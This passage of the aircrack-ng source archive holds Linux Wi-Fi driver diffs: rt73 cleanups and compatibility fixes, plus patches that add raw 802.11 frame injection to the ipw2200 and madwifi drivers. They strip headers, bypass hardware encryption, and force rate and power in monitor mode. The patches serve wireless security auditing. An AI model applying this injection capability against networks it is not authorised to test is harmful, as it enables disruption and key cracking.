RTUSBWriteRFRegister(pAd, Value); } break; - + case RT_OID_802_11_RESET_COUNTERS: { UCHAR Value[22]; @@ -865,7 +865,7 @@ NULL, 0); break; -#endif +#endif case RT_OID_VENDOR_FLIP_IQ: { ULONG Value1, Value2; @@ -926,7 +926,7 @@ else NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_NETWORK_TYPE_IN_USE (=%d)\n",NetType); - + } break; case RT_OID_802_11_PHY_MODE: @@ -958,7 +958,7 @@ pAd->PortCfg.GroupCipher = WepStatus; #if 1 - if ((WepStatus == Ndis802_11Encryption1Enabled) && + if ((WepStatus == Ndis802_11Encryption1Enabled) && (pAd->SharedKey[pAd->PortCfg.DefaultKeyId].KeyLen != 0)) { if (pAd->SharedKey[pAd->PortCfg.DefaultKeyId].KeyLen <= 5) @@ -973,7 +973,7 @@ pAd->SharedKey[pAd->PortCfg.DefaultKeyId].CipherAlg = CIPHER_WEP128; } -#if 0 +#if 0 RTUSBReadMACRegister_old(pAd, TXRX_CSR0, &Value); Value &= 0xfe00; Value |= ((LENGTH_802_11 << 3) | (pAd->PortCfg.CipherAlg)); @@ -1013,7 +1013,7 @@ Value &= 0xfe00; RTUSBWriteMACRegister_old(pAd, TXRX_CSR0, Value); #endif - }else + }else { DBGPRINT(RT_DEBUG_ERROR, " ERROR Cipher !!! \n"); } @@ -1027,7 +1027,7 @@ PNDIS_802_11_WEP pWepKey; DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_WEP \n"); - + pWepKey = (PNDIS_802_11_WEP)pData; KeyIdx = pWepKey->KeyIndex & 0x0fffffff; @@ -1037,7 +1037,7 @@ NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_ADD_WEP, INVALID_DATA!!\n"); } - else + else { UCHAR CipherAlg; pAd->SharedKey[KeyIdx].KeyLen = (UCHAR) pWepKey->KeyLength; @@ -1048,18 +1048,18 @@ { // Default key for tx (shared key) pAd->PortCfg.DefaultKeyId = (UCHAR) KeyIdx; - } + } AsicAddSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx, CipherAlg, pWepKey->KeyMaterial, NULL, NULL); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_WEP (KeyIdx=%d, Len=%d-byte)\n", KeyIdx, pWepKey->KeyLength); } } break; - + case OID_802_11_REMOVE_WEP: { ULONG KeyIdx; - + KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; if (KeyIdx & 0x80000000) { @@ -1081,14 +1081,14 @@ AsicRemoveSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_REMOVE_WEP (KeyIdx=%d)\n", KeyIdx); } - } + } } break; case OID_802_11_ADD_KEY_WEP: { PNDIS_802_11_KEY pKey; - ULONG i, KeyIdx; + ULONG i, KeyIdx; pKey = (PNDIS_802_11_KEY) pData; KeyIdx = pKey->KeyIndex & 0x0fffffff; @@ -1099,10 +1099,10 @@ NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_ADD_KEY_WEP, Invalid KeyIdx[=%d]!!\n", KeyIdx); } - else + else { UCHAR CipherAlg; - + pAd->SharedKey[KeyIdx].KeyLen = (UCHAR) pKey->KeyLength; memcpy(pAd->SharedKey[KeyIdx].Key, &pKey->KeyMaterial, pKey->KeyLength); @@ -1118,12 +1118,12 @@ { for(i = 1; i < (16 / pKey->KeyLength); i++) { - memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], - &pKey->KeyMaterial[0], + memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], + &pKey->KeyMaterial[0], pKey->KeyLength); } - memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], - &pKey->KeyMaterial[0], + memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], + &pKey->KeyMaterial[0], 16 - (i * pKey->KeyLength)); } @@ -1135,16 +1135,16 @@ } AsicAddSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx, CipherAlg, pAd->SharedKey[KeyIdx].Key, NULL, NULL); - DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY_WEP (KeyIdx=%d, KeyLen=%d, CipherAlg=%d)\n", + DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY_WEP (KeyIdx=%d, KeyLen=%d, CipherAlg=%d)\n", pAd->PortCfg.DefaultKeyId, pAd->SharedKey[KeyIdx].KeyLen, pAd->SharedKey[KeyIdx].CipherAlg); } } break; case OID_802_11_ADD_KEY: - { + { PNDIS_802_11_KEY pkey = (PNDIS_802_11_KEY)pData; - + NdisStatus = RTMPWPAAddKeyProc(pAd, pkey); RTUSBBulkReceive(pAd); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY\n"); @@ -1157,7 +1157,7 @@ { ULONG KeyIdx; - + KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; if (KeyIdx & 0x80000000) { @@ -1179,7 +1179,7 @@ } } break; -#if 0 +#if 0 { //PNDIS_802_11_REMOVE_KEY pRemoveKey; ULONG KeyIdx; @@ -1190,7 +1190,7 @@ DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_WEP\n"); //if (InformationBufferLength != sizeof(NDIS_802_11_KEY_INDEX)) // Status = NDIS_STATUS_INVALID_LENGTH; - //else + //else { KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; @@ -1223,17 +1223,17 @@ { PNDIS_802_11_REMOVE_KEY pRemoveKey; ULONG KeyIdx; - + pRemoveKey = (PNDIS_802_11_REMOVE_KEY) pData; if (pAd->PortCfg.AuthMode >= Ndis802_11AuthModeWPA) { NdisStatus = RTMPWPARemoveKeyProc(pAd, pData); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::RTMPWPARemoveKeyProc\n"); } - else + else { KeyIdx = pRemoveKey->KeyIndex; - + if (KeyIdx & 0x80000000) { // Should never set default bit when remove key @@ -1246,7 +1246,7 @@ if (KeyIdx >= 4) { NdisStatus = NDIS_STATUS_FAILURE; - DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_KEY, Invalid KeyIdx[=%d]!!\n", KeyIdx); + DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_KEY, Invalid KeyIdx[=%d]!!\n", KeyIdx); } else { @@ -1260,24 +1260,24 @@ } break; - + case OID_802_11_POWER_MODE: { NDIS_802_11_POWER_MODE PowerMode = *(PNDIS_802_11_POWER_MODE) pData; DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_POWER_MODE (=%d)\n",PowerMode); - + // save user's policy here, but not change PortCfg.Psm immediately - if (PowerMode == Ndis802_11PowerModeCAM) + if (PowerMode == Ndis802_11PowerModeCAM) { // clear PSM bit immediately MlmeSetPsmBit(pAd, PWR_ACTIVE); - - OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); + + OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); if (pAd->PortCfg.bWindowsACCAMEnable == FALSE) pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; - } - else if (PowerMode == Ndis802_11PowerModeMAX_PSP) + } + else if (PowerMode == Ndis802_11PowerModeMAX_PSP) { // do NOT turn on PSM bit here, wait until MlmeCheckPsmChange() // to exclude certain situations. @@ -1285,10 +1285,10 @@ if (pAd->PortCfg.bWindowsACCAMEnable == FALSE) pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; - OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); + OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); pAd->PortCfg.DefaultListenCount = 5; - } - else if (PowerMode == Ndis802_11PowerModeFast_PSP) + } + else if (PowerMode == Ndis802_11PowerModeFast_PSP) { // do NOT turn on PSM bit here, wait until MlmeCheckPsmChange() // to exclude certain situations. @@ -1298,8 +1298,8 @@ pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; pAd->PortCfg.DefaultListenCount = 3; - } - } + } + } break; case RT_PERFORM_SOFT_DIVERSITY: @@ -1318,7 +1318,7 @@ break; } - + if (cmdqelmt->CmdFromNdis == TRUE) { if ((cmdqelmt->command != OID_802_11_BSSID_LIST_SCAN) && @@ -1330,20 +1330,20 @@ if ((cmdqelmt->command != RT_OID_MULTI_READ_MAC) && (cmdqelmt->command != RT_OID_VENDOR_READ_BBP) && -#ifdef DBG +#ifdef DBG (cmdqelmt->command != RT_OID_802_11_QUERY_HARDWARE_REGISTER) && -#endif +#endif (cmdqelmt->command != RT_OID_USB_VENDOR_EEPROM_READ)) { if (cmdqelmt->buffer != NULL) kfree(cmdqelmt->buffer); } - + kfree((PCmdQElmt)cmdqelmt); } else cmdqelmt->InUse = FALSE; - + } @@ -1443,16 +1443,16 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; NDIS_STATUS Status = NDIS_STATUS_SUCCESS; UCHAR TmpPhy; - + printk("rt73 driver version - %s\n", DRIVER_VERSION); init_MUTEX(&(pAd->usbdev_semaphore)); - + // init mediastate to disconnected OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); - + pAd->rx_bh.func = RTUSBRxPacket; - + // Initialize pAd->PortCfg to manufacture default PortCfgInit(pAd); @@ -1481,19 +1481,19 @@ { goto out; } - + // Wait for hardware stable { ULONG MacCsr0 = 0, Index = 0; - + do { Status = RTUSBReadMACRegister(pAd, MAC_CSR0, &MacCsr0); if (MacCsr0 != 0) break; - + RTMPusecDelay(1000); } while (Index++ < 1000); DBGPRINT(RT_DEBUG_TRACE, "Init: MAC_CSR0=0x%08x, Status=0x%08x\n", MacCsr0, Status); @@ -1509,8 +1509,8 @@ // Initialize Asics NICInitializeAsic(pAd); - // Read RaConfig profile parameters -#ifdef READ_PROFILE_FROM_FILE + // Read RaConfig profile parameters +#ifdef READ_PROFILE_FROM_FILE RTMPReadParametersFromFile(pAd); #endif @@ -1560,7 +1560,7 @@ memcpy(pAd->net_dev->dev_addr, pAd->CurrentAddress, pAd->net_dev->addr_len); else memcpy(pAd->CurrentAddress, pAd->net_dev->dev_addr, pAd->net_dev->addr_len); - + // Clear Reset Flag before starting receiving/transmitting RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_IN_PROGRESS); @@ -1577,10 +1577,10 @@ // USB_ID info for UI pAd->VendorDesc = 0x148F2573; - + // Start net_dev interface tx /rx netif_start_queue(net_dev); - + netif_carrier_on(net_dev); netif_wake_queue(net_dev); return 0; @@ -1598,17 +1598,17 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; int ret; int i = 0; - - DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); + + DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); DECLARE_WAITQUEUE (wait, current); - + DBGPRINT(RT_DEBUG_TRACE,"-->rt73_close\n"); - + netif_carrier_off(pAd->net_dev); netif_stop_queue(pAd->net_dev); DBGPRINT(RT_DEBUG_INFO,"Ensure there are no more active urbs \n"); - // ensure there are no more active urbs. + // ensure there are no more active urbs. add_wait_queue (&unlink_wakeup, &wait); pAd->wait = &unlink_wakeup; // maybe wait for deletions to finish. @@ -1618,35 +1618,35 @@ DBGPRINT (RT_DEBUG_INFO,"waited for %d urb to complete\n", atomic_read(&pAd->PendingRx)); } pAd->wait = NULL; - remove_wait_queue (&unlink_wakeup, &wait); + remove_wait_queue (&unlink_wakeup, &wait); - if (pAd->MLMEThr_pid >= 0) + if (pAd->MLMEThr_pid >= 0) { mlme_kill = 1; RTUSBMlmeUp(pAd); wmb(); // need to check ret = kill_proc (pAd->MLMEThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; Fix process killing } wait_for_completion (&pAd->notify); } - if (pAd->RTUSBCmdThr_pid>= 0) + if (pAd->RTUSBCmdThr_pid>= 0) { RTUSBCmd_kill = 1; RTUSBCMDUp(pAd); wmb(); // need to check ret = kill_proc (pAd->RTUSBCmdThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; Fix process killing } wait_for_completion (&pAd->notify); } - + RTUSBHalt(pAd, TRUE); DBGPRINT(RT_DEBUG_TRACE,"<--rt73_close\n"); @@ -1676,7 +1676,7 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - MlmeHandler(pAd); + MlmeHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); @@ -1703,7 +1703,7 @@ } #endif - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -1744,13 +1744,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - CMDHandler(pAd); + CMDHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -1771,12 +1771,12 @@ static void *usb_rtusb_probe(struct usb_device *dev, UINT interface, const struct usb_device_id *id_table) -{ +{ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; int i; struct net_device *netdev; int res = -ENOMEM; - + for (i = 0; i < rtusb_usb_id_len; i++) { if (le32_to_cpu(dev->descriptor.idVendor) == rtusb_usb_id[i].idVendor && @@ -1797,20 +1797,22 @@ if(!netdev) { printk("alloc_etherdev failed\n"); - + MOD_DEC_USE_COUNT; usb_dec_dev_use(dev); return NULL; } - + pAd = netdev->priv; pAd->net_dev = netdev; netif_stop_queue(netdev); pAd->config = dev->config; pAd->pUsb_Dev= dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAd->net_dev); +#endif ether_setup(pAd->net_dev); - + netdev->open = usb_rtusb_open; netdev->hard_start_xmit = RTMPSendPackets; netdev->stop = usb_rtusb_close; @@ -1826,22 +1828,24 @@ pAd->net_dev->hard_header_len = 14; pAd->net_dev->mtu = 1500; pAd->net_dev->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAd->net_dev->weight = 64; +#endif OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); - {// find available + {// find available int i=0; char slot_name[IFNAMSIZ]; struct net_device *device; - struct usb_interface *ifp= &dev->actconfig->interface[interface]; // get interface from system + struct usb_interface *ifp= &dev->actconfig->interface[interface]; // get interface from system struct usb_interface_descriptor *as; - struct usb_endpoint_descriptor *ep; + struct usb_endpoint_descriptor *ep; for (i = 0; i < 8; i++) { sprintf(slot_name, "rausb%d", i); - + read_lock_bh(&dev_base_lock); // avoid multiple init for (device = dev_base; device != NULL; device = device->next) { @@ -1876,13 +1880,13 @@ //pAd->rx_bh.data = (unsigned long)pAd; pAd->rx_bh.func = RTUSBRxPacket; - + res = register_netdev(pAd->net_dev); if (res) goto out; return pAd; - + out: printk("register_netdev failed err=%d\n",res); return NULL; @@ -1892,16 +1896,16 @@ static void usb_rtusb_disconnect(struct usb_device *dev, void *ptr) { PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) ptr; - + if (!pAd) return; - + tasklet_kill(&pAd->rx_bh); RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST); // for debug, wait to show some messages to /proc system udelay(1); - //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, + //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, //need to check why??? //assert(pAd->net_dev != NULL) if(pAd->net_dev != NULL) @@ -1926,19 +1930,19 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; int ret; int i = 0; - - DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); + + DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); DECLARE_WAITQUEUE (wait, current); - + DBGPRINT(RT_DEBUG_TRACE,"-->rt73_close \n"); - + netif_carrier_off(pAd->net_dev); netif_stop_queue(pAd->net_dev); - // ensure there are no more active urbs. + // ensure there are no more active urbs. add_wait_queue (&unlink_wakeup, &wait); pAd->wait = &unlink_wakeup; - + // maybe wait for deletions to finish. while ((i < 25) && atomic_read(&pAd->PendingRx) > 0) { #if LINUX_VERSION_CODE >KERNEL_VERSION(2,6,9) @@ -1948,28 +1952,28 @@ i++; } pAd->wait = NULL; - remove_wait_queue (&unlink_wakeup, &wait); + remove_wait_queue (&unlink_wakeup, &wait); - if (pAd->MLMEThr_pid >= 0) + if (pAd->MLMEThr_pid >= 0) { mlme_kill = 1; RTUSBMlmeUp(pAd); wmb(); // need to check ret = kill_proc (pAd->MLMEThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; } wait_for_completion (&pAd->notify); } - if (pAd->RTUSBCmdThr_pid>= 0) + if (pAd->RTUSBCmdThr_pid>= 0) { RTUSBCmd_kill = 1; RTUSBCMDUp(pAd); wmb(); // need to check ret = kill_proc (pAd->RTUSBCmdThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; @@ -1977,7 +1981,7 @@ wait_for_completion (&pAd->notify); } RTUSBHalt(pAd, TRUE); - + DBGPRINT(RT_DEBUG_TRACE,"<--rt73_close \n"); return 0; @@ -2008,13 +2012,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - MlmeHandler(pAd); + MlmeHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -2057,13 +2061,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - CMDHandler(pAd); + CMDHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -2082,7 +2086,7 @@ static int usb_rtusb_probe (struct usb_interface *intf, const struct usb_device_id *id) -{ +{ struct usb_device *dev = interface_to_usbdev(intf); PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; int i; @@ -2111,19 +2115,21 @@ if(!netdev) { printk("alloc_etherdev failed\n"); - + module_put(THIS_MODULE); return res; } - + pAd = netdev->priv; pAd->net_dev = netdev; netif_stop_queue(netdev); pAd->config = &dev->config->desc; pAd->pUsb_Dev = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAd->net_dev); +#endif ether_setup(pAd->net_dev); - + netdev->open = usb_rtusb_open; netdev->stop = usb_rtusb_close; netdev->priv = pAd; @@ -2141,7 +2147,9 @@ pAd->net_dev->hard_header_len = 14; pAd->net_dev->mtu = 1500; pAd->net_dev->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAd->net_dev->weight = 64; +#endif OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); @@ -2149,23 +2157,23 @@ pAd->RTUSBCmdThr_pid= -1; SET_NETDEV_DEV(pAd->net_dev, &intf->dev); - - {// find available + + {// find available int i=0; char slot_name[IFNAMSIZ]; //struct net_device *device; struct usb_host_interface *iface_desc; struct usb_endpoint_descriptor *endpoint; - + for (i = 0; i < 8; i++) { sprintf(slot_name, "rausb%d", i); -#if 1 - if(dev_get_by_name(slot_name)==NULL) +#if 1 + if(dev_get_by_name(&init_net, slot_name)==NULL) break; -#else +#else read_lock_bh(&dev_base_lock); // avoid multiple init for (device = dev_base; device != NULL; device = device->next) { @@ -2175,9 +2183,9 @@ } } read_unlock_bh(&dev_base_lock); - + if(device == NULL) break; -#endif +#endif } if(i == 8) { @@ -2194,18 +2202,18 @@ /* check out the endpoint: it has to be Interrupt & IN */ endpoint = &iface_desc->endpoint[i].desc; - + /* get Max Packet Size from endpoint */ pAd->BulkOutMaxPacketSize = (USHORT)endpoint->wMaxPacketSize; DBGPRINT(RT_DEBUG_TRACE, "BulkOutMaxPacketSize %d\n", pAd->BulkOutMaxPacketSize); } - + //bottom half data is assign at each task_scheduler //pAd->rx_bh.data = (unsigned long)pAd; pAd->rx_bh.func = RTUSBRxPacket; - + res = register_netdev(pAd->net_dev); if (res) goto out; @@ -2217,7 +2225,7 @@ usb_set_intfdata(intf, pAd); return 0; - + out: printk("register_netdev failed err=%d\n",res); free_netdev(netdev); @@ -2229,7 +2237,7 @@ { struct usb_device *dev = interface_to_usbdev(intf); PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; - + pAd = usb_get_intfdata(intf); usb_set_intfdata(intf, NULL); @@ -2238,11 +2246,11 @@ dev->bus->bus_name, dev->devpath); if (!pAd) return; - + tasklet_kill(&pAd->rx_bh); // for debug, wait to show some messages to /proc system udelay(1); - //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, + //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, //need to check why??? //assert(pAd->net_dev != NULL) if(pAd->net_dev!= NULL) @@ -2295,7 +2303,7 @@ udelay(1); udelay(1); usb_deregister(&rtusb_driver); - + printk("<=== rtusb exit\n"); } /**************************************/ aircrack-ng-1.1/patches/old/ipw2200-1.1.3-inject.patch0000644000000000000000000000321110761053203020465 0ustar rootroot--- ipw2200-1.1.3/ipw2200.c 2006-07-17 21:43:57.000000000 +0000 +++ ipw2200-1.1.3inject/ipw2200inject.c 2006-07-18 00:29:15.000000000 +0000 @@ -10645,9 +10645,19 @@ static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri) { + int i = 0; + int kk; +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); +*/ + skb_pull(txb->fragments[0], 18+6+6); +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); + */ struct ieee80211_hdr_3addrqos *hdr = (struct ieee80211_hdr_3addrqos *) txb->fragments[0]->data; - int i = 0; struct tfd_frame *tfd; #ifdef CONFIG_IPW2200_QOS int tx_id = ipw_get_tx_queue_number(priv, pri); @@ -10660,6 +10670,28 @@ u16 remaining_bytes; int fc; +// memset(hdr->addr1,0x80,18); + memset(hdr, 0x08,1); +/* memset(((void*)hdr)+1,0x00,1); + memset(((void*)hdr)+2,0x04,1); + memset(((void*)hdr)+3,0x04,1); + memset(((void*)hdr)+4,0x00,1); + memset(((void*)hdr)+5,0x0f,1); + */ +// printk("tx_skb\n"); +char * kkk=hdr; +for(i=4; i<0x40; i++) { +// kkk[i]=0xff; +} +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); + + printk("WENT\n"); + */ + i=0; + + hdr_len = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); switch (priv->ieee->iw_mode) { case IW_MODE_ADHOC: @@ -10711,7 +10743,7 @@ if (likely(unicast)) tfd->u.data.tx_flags |= DCT_FLAG_ACK_REQD; - if (txb->encrypted && !priv->ieee->host_encrypt) { + if (0 && txb->encrypted && !priv->ieee->host_encrypt) { switch (priv->ieee->sec.level) { case SEC_LEVEL_3: tfd->u.data.tfd.tfd_24.mchdr.frame_ctl |= aircrack-ng-1.1/patches/old/madwifi-cvs-20050707.patch0000644000000000000000000001307110761053203020572 0ustar rootrootdiff -ur ../madwifi-cvs-20050707/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20050707/ath/if_ath.c 2005-06-25 02:35:12.000000000 +0200 +++ ./ath/if_ath.c 2005-07-30 00:27:46.000000000 +0200 @@ -1117,7 +1117,8 @@ /* * Encapsulate the packet for transmission. */ - skb = ieee80211_encap(ic, skb, &ni); + if (ic->ic_opmode != IEEE80211_M_MONITOR) + skb = ieee80211_encap(ic, skb, &ni); if (skb == NULL) { DPRINTF(sc, ATH_DEBUG_XMIT, "%s: discard, encapsulation failure\n", __func__); @@ -2830,7 +2831,7 @@ struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; int iswep, ismcast, keyix, hdrlen, pktlen, try0; - u_int8_t rix, txrate, ctsrate; + u_int8_t rix = 0, txrate, ctsrate; u_int8_t cix = 0xff; /* NB: silence compiler */ struct ath_desc *ds; struct ath_txq *txq; @@ -2847,7 +2848,7 @@ hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len; - if (iswep) { + if (iswep && ic->ic_opmode != IEEE80211_M_MONITOR) { const struct ieee80211_cipher *cip; struct ieee80211_key *k; @@ -2909,7 +2910,7 @@ * use short preamble based on the current mode and * negotiated parameters. */ - if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && + if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && ni != NULL && (ni->ni_capinfo & IEEE80211_CAPINFO_SHORT_PREAMBLE)) { shortPreamble = AH_TRUE; sc->sc_stats.ast_tx_shortpre++; @@ -2924,6 +2925,11 @@ */ switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } subtype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (subtype == IEEE80211_FC0_SUBTYPE_BEACON) atype = HAL_PKT_TYPE_BEACON; @@ -2943,6 +2949,11 @@ txq = sc->sc_ac2q[WME_AC_VO]; break; case IEEE80211_FC0_TYPE_CTL: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } atype = HAL_PKT_TYPE_PSPOLL; /* stop setting of duration */ rix = 0; /* XXX lowest rate */ try0 = ATH_TXMAXTRY; @@ -2958,8 +2969,9 @@ /* * Data frames; consult the rate control module. */ - ath_rate_findrate(sc, an, shortPreamble, skb->len, - &rix, &try0, &txrate); + if (ic->ic_opmode != IEEE80211_M_MONITOR) + ath_rate_findrate(sc, an, shortPreamble, skb->len, + &rix, &try0, &txrate); /* * Default all non-QoS traffic to the background queue. */ @@ -2970,6 +2982,11 @@ txq = sc->sc_ac2q[WME_AC_BK]; break; default: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } printk("%s: bogus frame type 0x%x (%s)\n", dev->name, wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK, __func__); /* XXX statistic */ @@ -3092,6 +3109,17 @@ txq->axq_intrcnt = 0; } + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + int i; + try0 = 1; /* no retransmissions */ + txrate = 0; + rt = sc->sc_rates[IEEE80211_MODE_11G]; + for (i = 0; i < rt->rateCount; i++) { + if (rt->info[i].rateKbps == ic->inject_rate) + txrate = rt->info[i].rateCode; + } + } + /* * Formulate first tx descriptor with tx controls. */ @@ -3100,7 +3128,7 @@ , pktlen /* packet length */ , hdrlen /* header length */ , atype /* Atheros packet type */ - , MIN(ni->ni_txpower,60)/* txpower */ + , 60 /* txpower */ , txrate, try0 /* series 0 rate/tries */ , keyix /* key cache index */ , sc->sc_txantenna /* antenna mode */ @@ -3115,7 +3143,7 @@ * when the hardware supports multi-rate retry and * we don't use it. */ - if (try0 != ATH_TXMAXTRY) + if (try0 != ATH_TXMAXTRY && ic->ic_opmode != IEEE80211_M_MONITOR) ath_rate_setupxtxdesc(sc, an, ds, shortPreamble, rix); ds->ds_link = 0; Only in ./ath: if_ath.c.orig diff -ur ../madwifi-cvs-20050707/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20050707/net80211/ieee80211_var.h 2005-02-16 17:09:03.000000000 +0100 +++ ./net80211/ieee80211_var.h 2005-07-29 22:43:08.000000000 +0200 @@ -307,6 +307,8 @@ */ const struct ieee80211_aclator *ic_acl; void *ic_as; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur ../madwifi-cvs-20050707/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20050707/net80211/ieee80211_wireless.c 2005-03-07 17:35:09.000000000 +0100 +++ ./net80211/ieee80211_wireless.c 2005-07-29 22:50:42.000000000 +0200 @@ -328,6 +328,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to 